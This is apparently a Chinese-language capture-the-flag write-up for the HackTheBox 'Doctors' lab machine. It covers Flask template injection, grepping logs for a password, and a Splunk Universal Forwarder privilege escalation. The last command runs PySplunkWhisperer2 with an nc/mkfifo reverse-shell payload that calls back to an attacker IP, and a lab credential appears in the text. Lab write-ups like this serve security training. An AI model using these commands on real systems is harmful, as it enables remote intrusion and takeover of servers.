HackTheBox >_ Docker_209
Docker_209





加入hosts




我们注意到url是
http://doctors.htb/post/2
如果改成1
http://doctors.htb/post/1

如果点击admin用户名会跳转到admin
http://doctors.htb/user/admin

http://doctors.htb/user/admin?page=1
A free blog to share medical knowledge
没有得到任何新鲜的线索。

py3,werkzeug 搜索了一下, werkzeug是 WSGI(Python Web Server Gateway Interface),它为Python语言定义的Web服务器和Web应用程序或框架之间的一种简单而通用的接口。这是一个规范,描述了web server如何与web application交互 搜索发现

存在debug mode rce
https://www.exploit-db.com/exploits/43905
测试后发现无法利用
Flask
这使我们联想到flask的ssti漏洞 https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti
重新测试
账户超过20分钟就会重置
重新注册登录



测试post


之前扫目录得到的archive的title会跟随变化

测试 ssti

成功,存在漏洞

因为已知是python3 尝试python3 payload ``

成功
``

可以执行命令
``


立即获得shell

python3 -c “import pty; pty.spawn([‘/bin/bash’]);”


adm组,可以查看log
log太多,而我们的shell只能持续20分钟
在log中找找感兴趣的东
| find . -depth 3 | xargs grep -ri ‘shaun’ |
| find . -depth 3 | xargs grep -ri ‘root’ |
| find . -depth 3 | xargs grep -ri ‘password’ |

Guitar123,这个页面是密码重置页面,正常应该输入一个邮箱,但是这个日志显示输入了一个字符串
合理怀疑是错手输入了密码
查看home中的用户

所以凭证可能是
shaun:Guitar123
su shaun

不出所料 用户切换成功
但是没有sudo -l

枚举时发现8090端口运行的是 splunkd

splunkd -p 8089 start
/bin/sh /opt/splunkforwarder/etc/apps/PWN_APP/bin/pwn.bat

8.0.5
搜索 splunkforwarder

参考阅读 https://clement.notin.org/blog/2019/02/25/Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2/
exploit
https://github.com/cnotin/SplunkWhisperer2/blob/master/PySplunkWhisperer2/PySplunkWhisperer2_remote.py
| python3 PySplunkWhisperer2_remote.py –host 10.10.10.209 –lhost 10.10.14.35 –username shaun –password Guitar123 –payload ‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.35 1339 >/tmp/f’ |

失败就再打一次
